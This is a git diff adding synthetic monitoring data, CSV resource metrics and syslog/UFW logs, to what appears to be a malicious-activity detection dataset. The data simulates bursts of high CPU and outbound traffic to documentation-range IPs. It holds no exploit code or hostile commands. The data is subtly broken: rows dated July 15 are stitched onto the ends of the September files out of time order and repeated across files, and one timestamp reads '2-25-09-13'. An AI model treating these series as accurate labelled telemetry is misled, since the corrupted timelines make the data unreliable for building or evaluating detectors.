+"2025-09-13T19:11:15Z,12.34,34.88,13.89,0.86,1.98" +"2025-09-13T19:11:20Z,10.88,33.90,14.65,0.75,2.01" +"2025-09-13T19:11:25Z,13.95,34.10,13.76,0.94,2.21" +"2025-09-13T19:11:30Z,11.48,35.40,14.41,0.89,2.04" +"2025-09-13T19:11:35Z,12.12,34.70,13.32,0.92,2.12" +"2025-09-13T19:11:40Z,12.55,35.21,14.12,0.85,2.41" +"2025-09-13T19:11:45Z,96.15,52.33,8.89,0.31,1380.12" +"2025-09-13T19:11:50Z,94.89,51.98,9.01,0.22,912.33" +"2025-09-13T19:11:55Z,98.32,52.81,8.55,0.29,1450.92" +"2025-09-13T19:12:00Z,95.21,53.01,8.65,0.24,1075.55" +"2025-09-13T19:12:05Z,99.50,52.45,8.83,0.33,1520.31" +"2025-09-13T19:12:10Z,93.88,51.78,9.94,0.21,899.87" +"2025-09-13T19:12:15Z,98.24,53.12,8.11,0.28,1480.43" +"2025-09-13T19:12:20Z,95.95,52.32,10.15,0.26,1050.21" +"2025-09-13T19:12:25Z,99.41,52.89,8.33,0.30,1550.76" +"2025-09-13T19:12:30Z,94.67,51.91,9.87,0.23,980.91" +"2025-09-13T19:12:35Z,98.11,53.23,8.67,0.32,1499.15" +"2025-09-13T19:12:40Z,95.01,52.11,10.98,0.25,1065.88" +"2025-09-13T19:12:45Z,99.37,52.95,8.01,0.29,1533.45" +"2025-09-13T19:12:50Z,95.43,53.15,9.78,0.22,1110.23" +"2025-09-13T19:12:55Z,98.28,52.76,8.45,0.31,1505.11" +"2025-09-13T19:13:00Z,94.58,51.88,10.05,0.27,990.47" +"2025-09-13T19:13:05Z,99.61,53.34,8.19,0.34,1580.99" +"2025-09-13T19:13:10Z,95.12,52.22,9.88,0.24,1072.19" +"2025-09-13T19:13:15Z,98.45,52.99,8.58,0.30,1545.72" +"2025-09-13T19:13:20Z,95.33,53.09,9.76,0.26,1121.54" +"2025-09-13T19:13:25Z,99.19,52.67,8.21,0.32,1511.83" +"2025-09-13T19:13:30Z,94.75,51.95,9.99,0.23,995.61" +"2025-09-13T19:13:35Z,98.55,53.18,8.88,0.33,1565.23" +"2025-09-13T19:13:40Z,95.25,52.35,10.11,0.25,1088.76" +"2025-09-13T19:13:45Z,99.21,52.85,8.49,0.29,1528.94" +"2025-09-13T19:13:50Z,95.49,53.25,9.81,0.22,1130.17" +"2025-09-13T19:13:55Z,98.35,52.71,8.63,0.31,1539.42" +"2025-09-13T19:14:00Z,13.05,34.81,14.95,0.87,2.34" +"2025-09-13T19:14:05Z,11.48,35.28,15.28,0.94,2.81" +"2025-09-13T19:14:10Z,12.18,34.18,14.08,0.84,2.01" +"2025-09-13T19:14:15Z,13.58,35.05,14.71,0.90,2.65" +"2025-09-13T19:14:20Z,11.39,34.42,15.02,0.86,2.13" +"2025-09-13T19:14:25Z,12.25,34.92,14.41,0.92,2.27" +"2025-09-13T19:14:30Z,11.81,34.05,14.91,0.83,2.93" +"2025-09-13T19:14:35Z,13.51,35.11,14.81,0.93,2.78" +"2025-09-13T19:14:40Z,11.29,34.28,15.19,0.85,2.46" +"2025-09-13T19:14:45Z,12.33,34.78,14.53,0.89,2.19" +"2025-09-13T19:14:50Z,11.61,35.19,14.85,0.82,2.84" +"2025-09-13T19:14:55Z,13.22,34.65,14.69,0.91,2.36" +"2025-09-13T19:15:00Z,11.15,34.85,15.99,0.87,2.71" +"2025-09-13T19:15:05Z,12.42,35.21,14.35,0.94,2.29" +"2025-09-13T19:15:10Z,11.55,34.12,15.19,0.84,2.24" +"2025-09-13T19:15:15Z,13.95,35.81,14.88,0.91,2.18" +"2-25-09-13T19:15:20Z,11.22,34.76,15.14,0.85,2.76" +"2025-09-13T19:15:25Z,12.89,35.59,14.99,0.88,2.65" +"2025-09-13T19:15:30Z,11.03,34.45,15.05,0.93,2.93" +"2025-09-13T19:15:35Z,13.56,35.91,14.37,0.87,2.34" +"2025-09-13T19:15:40Z,10.76,34.01,15.81,0.81,2.88" +"2025-09-13T19:15:45Z,12.99,35.12,14.43,0.84,2.59" +"2025-07-15T10:05:50Z,98.65,56.22,2.89,0.22,1035.77" +"2025-07-15T10:05:55Z,99.29,55.69,3.73,0.31,1147.51" +"2025-07-15T10:06:00Z,98.22,54.89,4.03,0.27,990.18" +"2025-07-15T10:06:05Z,99.47,56.25,3.39,0.34,1178.63" +"2025-07-15T10:06:10Z,98.51,55.12,3.19,0.24,1009.24" +"2025-07-15T10:06:15Z,18.95,43.81,19.88,1.21,2.18" +"2025-07-15T10:06:20Z,16.22,42.76,23.14,0.95,1.76" +"2025-07-15T10:06:25Z,14.89,44.59,25.99,0.88,1.65" +"2025-07-15T10:06:30Z,17.03,41.45,21.05,1.03,1.93" +"2025-07-15T10:06:35Z,19.56,40.91,18.37,1.17,2.34" +"2025-07-15T10:06:40Z,15.76,43.01,22.81,0.91,1.88" +"2025-07-15T10:06:45Z,13.99,45.12,28.43,0.84,1.59" +"2025-07-15T10:06:50Z,18.01,42.11,16.79,1.09,2.02" +"2025-07-15T10:06:55Z,16.89,41.83,24.11,0.97,1.81" +"2025-07-15T10:07:00Z,15.33,43.22,20.57,1.14,1.99" diff --git a/mali_dataset/scenario_2/mali_2_12.log b/mali_dataset/scenario_2/mali_2_12.log new file mode 100644 index 0000000000000000000000000000000000000000..a333791f3ab711df955794f9ba05f73e117fddd0 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_12.log @@ -0,0 +1,19 @@ +Sep 13 19:10:01 CRON[5501]: (root) CMD ( /usr/lib/update-notifier/apt-check --human-readable) +Sep 13 19:10:35 systemd[1]: Started Run anacron jobs. +Sep 13 19:10:36 anacron[5520]: Anacron 2.3 started on 2025-09-13 +Sep 13 19:10:37 anacron[5520]: Normal exit (0 jobs run) +Sep 13 19:11:10 content-service[1010]: [DEBUG] Cache lookup for resource ID: abc-123 +Sep 13 19:11:46 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=44551 PROTO=UDP SPT=41001 DPT=9000 LEN=1480 +Sep 13 19:11:52 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=44552 DF PROTO=TCP SPT=41002 DPT=9000 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 13 19:12:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=44553 PROTO=UDP SPT=41003 DPT=9000 LEN=1480 +Sep 13 19:12:18 content-service[1010]: [ERROR] Failed to write temporary file: /tmp/xyz.tmp - No space left on device +Sep 13 19:12:25 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=44554 DF PROTO=TCP SPT=41004 DPT=9000 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 13 19:12:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=44555 PROTO=UDP SPT=41005 DPT=9000 LEN=1480 +Sep 13 19:12:55 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=44556 DF PROTO=TCP SPT=41006 DPT=9000 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 13 19:13:08 content-service[1010]: [ERROR] Failed to write temporary file: /tmp/abc.tmp - No space left on device +Sep 13 19:13:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=44557 PROTO=UDP SPT=41007 DPT=9000 LEN=1480 +Sep 13 19:13:30 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=44558 DF PROTO=TCP SPT=41008 DPT=9000 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 13 19:13:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=44559 PROTO=UDP SPT=41009 DPT=9000 LEN=1480 +Sep 13 19:14:05 content-service[1010]: [INFO] Temporary file cleanup successful. +Sep 13 19:14:30 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=10.0.0.15 DST=203.0.113.99 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=44560 DF PROTO=TCP SPT=41010 DPT=9000 WINDOW=65535 RES=0x00 SYN URGP=0 +Sep 13 19:15:00 CRON[5580]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_13.csv b/mali_dataset/scenario_2/mali_2_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..f0d63e6e12ab01a37e9d3179018e4340bb5a0248 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_13.csv @@ -0,0 +1,86 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-09-14T12:58:00Z,19.82,43.15,21.33,1.51,2.85" +"2025-09-14T12:58:05Z,18.91,42.86,20.16,1.61,2.74" +"2025-09-14T12:58:10Z,20.23,43.13,22.49,1.49,2.97" +"2025-09-14T12:58:15Z,21.01,42.41,20.77,1.85,2.92" +"2025-09-14T12:58:20Z,18.44,43.97,22.20,1.91,2.95" +"2025-09-14T12:58:25Z,20.16,43.84,20.62,1.68,2.71" +"2025-09-14T12:58:30Z,19.28,43.20,21.44,1.77,2.82" +"2025-09-14T12:58:35Z,21.18,42.81,19.78,1.46,3.06" +"2025-09-14T12:58:40Z,18.65,42.99,21.98,1.65,2.68" +"2025-09-14T12:58:45Z,20.63,43.01,20.02,1.81,2.99" +"2025-09-14T12:58:50Z,18.93,44.18,22.31,1.58,2.81" +"2025-09-14T12:58:55Z,19.01,43.53,19.87,1.74,2.93" +"2025-09-14T12:59:00Z,20.76,42.12,22.23,1.62,3.14" +"2025-09-14T12:59:05Z,21.21,42.32,21.53,1.88,2.86" +"2025-09-14T12:59:10Z,18.22,43.21,20.01,1.71,2.94" +"2025-09-14T12:59:15Z,20.34,42.88,21.89,1.66,2.88" +"2025-09-14T12:59:20Z,18.88,42.90,22.65,1.55,3.01" +"2025-09-14T12:59:25Z,21.95,42.10,21.76,1.94,2.91" +"2025-09-14T12:59:30Z,20.48,43.40,20.41,1.69,2.84" +"2025-09-14T12:59:35Z,19.12,42.70,19.32,1.82,3.12" +"2025-09-14T12:59:40Z,21.55,43.21,21.12,1.65,3.21" +"2025-09-14T12:59:45Z,22.15,44.33,20.89,1.71,3.02" +"2025-09-14T12:59:50Z,20.89,42.98,22.01,1.52,3.13" +"2025-09-14T12:59:55Z,98.32,59.81,3.55,0.29,1050.92" +"2025-09-14T13:00:00Z,98.21,59.91,3.65,0.24,1075.55" +"2025-09-14T13:00:05Z,98.50,60.05,3.83,0.33,1120.31" +"2025-09-14T13:00:10Z,98.88,60.18,3.94,0.21,1099.87" +"2025-09-14T13:00:15Z,98.24,60.22,4.11,0.28,1180.43" +"2025-09-14T13:00:20Z,98.95,60.32,4.15,0.26,1050.21" +"2025-09-14T13:00:25Z,98.41,60.49,4.33,0.30,1150.76" +"2025-09-14T13:00:30Z,98.67,60.51,3.87,0.23,1080.91" +"2025-09-14T13:00:35Z,98.11,60.63,4.67,0.32,1199.15" +"2025-09-14T13:00:40Z,98.01,60.71,4.98,0.25,1065.88" +"2025-09-14T13:00:45Z,98.37,60.85,4.01,0.29,1133.45" +"2025-09-14T13:00:50Z,98.43,60.95,3.78,0.22,1110.23" +"2025-09-14T13:00:55Z,98.28,61.06,4.45,0.31,1105.11" +"2025-09-14T13:01:00Z,98.58,61.18,5.05,0.27,1090.47" +"2025-09-14T13:01:05Z,98.61,61.24,4.19,0.34,1180.99" +"2025-09-14T13:01:10Z,98.12,61.32,3.88,0.24,1072.19" +"2025-09-14T13:01:15Z,98.45,61.49,4.58,0.30,1145.72" +"2025-09-14T13:01:20Z,98.33,61.59,4.76,0.26,1121.54" +"2025-09-14T13:01:25Z,98.19,61.67,4.21,0.32,1111.83" +"2025-09-14T13:01:30Z,98.75,61.75,3.99,0.23,1095.61" +"2025-09-14T13:01:35Z,98.55,61.88,4.88,0.33,1165.23" +"2025-09-14T13:01:40Z,98.25,61.95,5.11,0.25,1088.76" +"2025-09-14T13:01:45Z,98.21,62.05,4.49,0.29,1128.94" +"2025-09-14T13:01:50Z,98.49,62.15,3.81,0.22,1130.17" +"2025-09-14T13:01:55Z,98.35,62.21,4.63,0.31,1139.42" +"2025-09-14T13:02:00Z,98.05,62.31,4.95,0.27,1078.34" +"2025-09-14T13:02:05Z,98.48,62.48,4.28,0.34,1175.81" +"2025-09-14T13:02:10Z,98.18,62.58,4.08,0.24,1101.01" +"2025-09-14T13:02:15Z,21.58,44.05,20.71,1.80,3.65" +"2025-09-14T13:02:20Z,20.39,43.42,22.02,1.76,2.98" +"2025-09-14T13:02:25Z,19.25,43.92,20.41,1.82,3.27" +"2025-09-14T13:02:30Z,21.81,43.05,21.91,1.73,3.93" +"2025-09-14T13:02:35Z,19.51,44.11,21.81,1.83,3.78" +"2025-09-14T13:02:40Z,18.29,43.28,22.19,1.75,3.46" +"2025-09-14T13:02:45Z,20.33,43.78,20.53,1.69,3.19" +"2025-09-14T13:02:50Z,19.61,44.19,21.85,1.72,3.84" +"2025-09-14T13:02:55Z,18.22,43.65,22.69,1.81,3.36" +"2025-09-14T13:03:00Z,21.15,43.85,20.99,1.77,3.71" +"2025-09-14T13:03:05Z,19.42,44.21,21.35,1.84,3.29" +"2025-09-14T13:03:10Z,18.55,43.15,22.15,1.74,3.62" +"2025-09-14T13:03:15Z,21.65,44.01,20.75,1.80,3.18" +"2025-09-14T13:03:20Z,18.42,43.48,22.08,1.76,3.45" +"2025-09-14T13:03:25Z,20.28,43.98,20.48,1.82,3.73" +"2025-09-14T13:03:30Z,18.71,43.01,21.95,1.73,3.28" +"2025-09-14T13:03:35Z,21.53,44.14,21.85,1.83,3.34" +"2025-09-14T13:03:40Z,18.31,43.25,22.15,1.75,3.91" +"2025-09-14T13:03:45Z,20.38,43.82,20.57,1.79,3.82" +"2025-07-15T10:05:50Z,98.65,56.22,2.89,0.22,1035.77" +"2025-07-15T10:05:55Z,99.29,55.69,3.73,0.31,1147.51" +"2025-07-15T10:06:00Z,98.22,54.89,4.03,0.27,990.18" +"2025-07-15T10:06:05Z,99.47,56.25,3.39,0.34,1178.63" +"2025-07-15T10:06:10Z,98.51,55.12,3.19,0.24,1009.24" +"2025-07-15T10:06:15Z,18.95,43.81,19.88,1.21,2.18" +"2025-07-15T10:06:20Z,16.22,42.76,23.14,0.95,1.76" +"2025-07-15T10:06:25Z,14.89,44.59,25.99,0.88,1.65" +"2025-07-15T10:06:30Z,17.03,41.45,21.05,1.03,1.93" +"2025-07-15T10:06:35Z,19.56,40.91,18.37,1.17,2.34" +"2025-07-15T10:06:40Z,15.76,43.01,22.81,0.91,1.88" +"2025-07-15T10:06:45Z,13.99,45.12,28.43,0.84,1.59" +"2025-07-15T10:06:50Z,18.01,42.11,16.79,1.09,2.02" +"2025-07-15T10:06:55Z,16.89,41.83,24.11,0.97,1.81" +"2025-07-15T10:07:00Z,15.33,43.22,20.57,1.14,1.99" diff --git a/mali_dataset/scenario_2/mali_2_13.log b/mali_dataset/scenario_2/mali_2_13.log new file mode 100644 index 0000000000000000000000000000000000000000..8d34205816bed4a6405e1b5456cc961484c4f638 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_13.log @@ -0,0 +1,20 @@ +Sep 14 12:58:05 systemd[1]: Created slice User Slice of UID 1001. +Sep 14 12:58:30 CRON[6101]: (batchuser) CMD (/opt/batch-processor/run.sh) +Sep 14 12:58:31 batch-processor[6103]: [INFO] Starting batch processing job ID: 20250914-1258 +Sep 14 12:59:01 batch-processor[6103]: [INFO] Fetched 1000 records from source database. +Sep 14 12:59:30 batch-processor[6103]: [INFO] Starting data transformation... +Sep 14 12:59:56 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77881 PROTO=UDP SPT=51001 DPT=123 LEN=1480 +Sep 14 12:59:57 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77882 PROTO=UDP SPT=51002 DPT=123 LEN=1480 +Sep 14 13:00:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77883 PROTO=UDP SPT=51003 DPT=123 LEN=1480 +Sep 14 13:00:20 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77884 PROTO=UDP SPT=51004 DPT=123 LEN=1480 +Sep 14 13:00:31 batch-processor[6103]: [WARN] High memory usage detected: 95% of allocated heap. +Sep 14 13:00:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77885 PROTO=UDP SPT=51005 DPT=123 LEN=1480 +Sep 14 13:01:01 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77886 PROTO=UDP SPT=51006 DPT=123 LEN=1480 +Sep 14 13:01:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77887 PROTO=UDP SPT=51007 DPT=123 LEN=1480 +Sep 14 13:01:32 batch-processor[6103]: [ERROR] OutOfMemoryError: Java heap space. Job failed. +Sep 14 13:01:33 systemd[1]: batch-processor.service: Main process exited, code=exited, status=1/FAILURE +Sep 14 13:01:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77888 PROTO=UDP SPT=51008 DPT=123 LEN=1480 +Sep 14 13:01:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77889 PROTO=UDP SPT=51009 DPT=123 LEN=1480 +Sep 14 13:02:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.16 DST=198.51.100.1 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=77890 PROTO=UDP SPT=51010 DPT=123 LEN=1480 +Sep 14 13:02:25 CRON[6150]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Sep 14 13:03:00 systemd[1]: session-55.scope: Succeeded. \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_14.csv b/mali_dataset/scenario_2/mali_2_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..6d90b4ac47dace1bcd8ce4a8eaa03006db4c5f65 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_14.csv @@ -0,0 +1,86 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-07-15T10:00:00Z,15.82,41.15,18.33,0.81,2.05" +"2025-07-15T10:00:05Z,14.91,39.86,22.16,0.91,1.54" +"2025-07-15T10:00:10Z,17.23,38.13,25.49,0.79,1.97" +"2025-07-15T10:00:15Z,19.01,39.41,21.77,1.15,1.82" +"2025-07-15T10:00:20Z,13.44,42.97,19.2,1.21,1.95" +"2025-07-15T10:00:25Z,16.16,43.84,25.62,0.98,1.51" +"2025-07-15T10:00:30Z,15.28,41.2,23.44,1.07,1.72" +"2025-07-15T10:00:35Z,18.18,40.81,15.78,0.76,2.26" +"2025-07-15T10:00:40Z,14.65,39.99,18.98,0.95,1.48" +"2025-07-15T10:00:45Z,16.63,42.01,21.02,1.11,1.99" +"2025-07-15T10:00:50Z,13.93,44.18,29.31,0.88,1.61" +"2025-07-15T10:00:55Z,15.01,41.53,14.87,1.04,1.83" +"2025-07-15T10:01:00Z,17.76,39.12,19.23,0.92,2.14" +"2025-07-15T10:01:05Z,18.21,40.32,23.53,1.18,1.76" +"2025-07-15T10:01:10Z,14.22,43.21,20.01,1.01,1.94" +"2025-07-15T10:01:15Z,16.34,42.88,18.89,0.96,1.68" +"2025-07-15T10:01:20Z,13.88,41.9,24.65,0.85,2.01" +"2025-07-15T10:01:25Z,19.95,40.1,28.76,1.24,1.91" +"2025-07-15T10:01:30Z,17.48,43.4,22.41,0.99,1.74" +"2025-07-15T10:01:35Z,15.12,42.7,16.32,1.12,2.22" +"2025-07-15T10:01:40Z,98.55,55.21,3.12,0.25,855.41" +"2025-07-15T10:01:45Z,99.15,56.33,2.89,0.31,980.12" +"2025-07-15T10:01:50Z,97.89,54.98,4.01,0.22,912.33" +"2025-07-15T10:01:55Z,99.32,55.81,3.55,0.29,1050.92" +"2025-07-15T10:02:00Z,98.21,56.01,2.65,0.24,975.55" +"2025-07-15T10:02:05Z,99.50,55.45,3.83,0.33,1120.31" +"2025-07-15T10:02:10Z,98.88,54.78,2.94,0.21,999.87" +"2025-07-15T10:02:15Z,99.24,56.12,3.11,0.28,1080.43" +"2025-07-15T10:02:20Z,97.95,55.32,4.15,0.26,950.21" +"2025-07-15T10:02:25Z,99.41,55.89,3.33,0.30,1150.76" +"2025-07-15T10:02:30Z,98.67,54.91,2.87,0.23,980.91" +"2025-07-15T10:02:35Z,99.11,56.23,3.67,0.32,1099.15" +"2025-07-15T10:02:40Z,98.01,55.11,3.98,0.25,965.88" +"2025-07-15T10:02:45Z,99.37,55.95,3.01,0.29,1133.45" +"2025-07-15T10:02:50Z,98.43,56.15,2.78,0.22,1010.23" +"2025-07-15T10:02:55Z,99.28,55.76,3.45,0.31,1105.11" +"2025-07-15T10:03:00Z,98.58,54.88,4.05,0.27,990.47" +"2025-07-15T10:03:05Z,99.61,56.34,3.19,0.34,1180.99" +"2025-07-15T10:03:10Z,98.12,55.22,2.88,0.24,972.19" +"2025-07-15T10:03:15Z,99.45,55.99,3.58,0.30,1145.72" +"2025-07-15T10:03:20Z,98.33,56.09,3.76,0.26,1021.54" +"2025-07-15T10:03:25Z,99.19,55.67,3.21,0.32,1111.83" +"2025-07-15T10:03:30Z,98.75,54.95,2.99,0.23,995.61" +"2025-07-15T10:03:35Z,99.55,56.18,3.88,0.33,1165.23" +"2025-07-15T10:03:40Z,98.25,55.35,4.11,0.25,988.76" +"2025-07-15T10:03:45Z,99.21,55.85,3.49,0.29,1128.94" +"2025-07-15T10:03:50Z,98.49,56.25,2.81,0.22,1030.17" +"2025-07-15T10:03:55Z,99.35,55.71,3.63,0.31,1139.42" +"2025-07-15T10:04:00Z,98.05,54.81,3.95,0.27,978.34" +"2025-07-15T10:04:05Z,99.48,56.28,3.28,0.34,1175.81" +"2025-07-15T10:04:10Z,98.18,55.18,3.08,0.24,1001.01" +"2025-07-15T10:04:15Z,99.58,56.05,3.71,0.30,1155.65" +"2025-07-15T10:04:20Z,98.39,55.42,4.02,0.26,998.13" +"2025-07-15T10:04:25Z,99.25,55.92,3.41,0.32,1148.27" +"2025-07-15T10:04:30Z,98.81,55.05,2.91,0.23,1015.93" +"2025-07-15T10:04:35Z,99.51,56.11,3.81,0.33,1160.78" +"2025-07-15T10:04:40Z,98.29,55.28,4.19,0.25,982.46" +"2025-07-15T10:04:45Z,99.33,55.78,3.53,0.29,1133.19" +"2025-07-15T10:04:50Z,98.61,56.19,2.85,0.22,1025.84" +"2025-07-15T10:04:55Z,99.22,55.65,3.69,0.31,1142.36" +"2025-07-15T10:05:00Z,98.15,54.85,3.99,0.27,985.71" +"2025-07-15T10:05:05Z,99.42,56.21,3.35,0.34,1170.29" +"2025-07-15T10:05:10Z,98.55,55.15,3.15,0.24,1005.62" +"2025-07-15T10:05:15Z,99.65,56.01,3.75,0.30,1162.18" +"2025-07-15T10:05:20Z,98.42,55.48,4.08,0.26,993.45" +"2025-07-15T10:05:25Z,99.28,55.98,3.48,0.32,1151.73" +"2025-07-15T10:05:30Z,98.71,55.01,2.95,0.23,1019.28" +"2025-07-15T10:05:35Z,99.53,56.14,3.85,0.33,1168.34" +"2025-07-15T10:05:40Z,98.31,55.25,4.15,0.25,987.91" +"2025-07-15T10:05:45Z,99.38,55.82,3.57,0.29,1138.82" +"2025-07-15T10:05:50Z,98.65,56.22,2.89,0.22,1035.77" +"2025-07-15T10:05:55Z,99.29,55.69,3.73,0.31,1147.51" +"2025-07-15T10:06:00Z,98.22,54.89,4.03,0.27,990.18" +"2025-07-15T10:06:05Z,99.47,56.25,3.39,0.34,1178.63" +"2025-07-15T10:06:10Z,98.51,55.12,3.19,0.24,1009.24" +"2025-07-15T10:06:15Z,18.95,43.81,19.88,1.21,2.18" +"2025-07-15T10:06:20Z,16.22,42.76,23.14,0.95,1.76" +"2025-07-15T10:06:25Z,14.89,44.59,25.99,0.88,1.65" +"2025-07-15T10:06:30Z,17.03,41.45,21.05,1.03,1.93" +"2025-07-15T10:06:35Z,19.56,40.91,18.37,1.17,2.34" +"2025-07-15T10:06:40Z,15.76,43.01,22.81,0.91,1.88" +"2025-07-15T10:06:45Z,13.99,45.12,28.43,0.84,1.59" +"2025-07-15T10:06:50Z,18.01,42.11,16.79,1.09,2.02" +"2025-07-15T10:06:55Z,16.89,41.83,24.11,0.97,1.81" +"2025-07-15T10:07:00Z,15.33,43.22,20.57,1.14,1.99" diff --git a/mali_dataset/scenario_2/mali_2_14.log b/mali_dataset/scenario_2/mali_2_14.log new file mode 100644 index 0000000000000000000000000000000000000000..87bbfb36e18783b1b9f4db4b87e328ffef12f25b --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_14.log @@ -0,0 +1,37 @@ +Jul 15 10:00:00 systemd[1]: Started Session 100 of user root. +Jul 15 10:00:00 CRON[1800]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:00:10 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:00:10] "GET /health" 200 12 +Jul 15 10:00:50 CRON[1810]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:01:15 systemd[1]: Started Session 115 of user root. +Jul 15 10:01:25 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:01:25] "GET /health" 200 12 +Jul 15 10:01:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23101 PROTO=UDP SPT=48921 DPT=80 LEN=1480 +Jul 15 10:01:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23102 PROTO=UDP SPT=48922 DPT=80 LEN=1480 +Jul 15 10:01:41 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23103 PROTO=UDP SPT=48923 DPT=80 LEN=1480 +Jul 15 10:01:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23104 PROTO=UDP SPT=48924 DPT=80 LEN=1480 +Jul 15 10:01:46 CRON[1820]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:01:52 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23105 PROTO=UDP SPT=48925 DPT=80 LEN=1480 +Jul 15 10:01:58 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23106 PROTO=UDP SPT=48926 DPT=80 LEN=1480 +Jul 15 10:02:05 webapp[5432]: ERROR: Database connection timeout after 3000ms +Jul 15 10:02:11 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23107 PROTO=UDP SPT=48927 DPT=80 LEN=1480 +Jul 15 10:02:19 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23108 PROTO=UDP SPT=48928 DPT=80 LEN=1480 +Jul 15 10:02:30 systemd[1]: Started Session 130 of user root. +Jul 15 10:02:32 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23109 PROTO=UDP SPT=48929 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=23110 PROTO=UDP SPT=48930 DPT=80 LEN=1480 +Jul 15 10:02:55 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:02:55] "GET /health" 503 22 +Jul 15 10:03:01 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.6 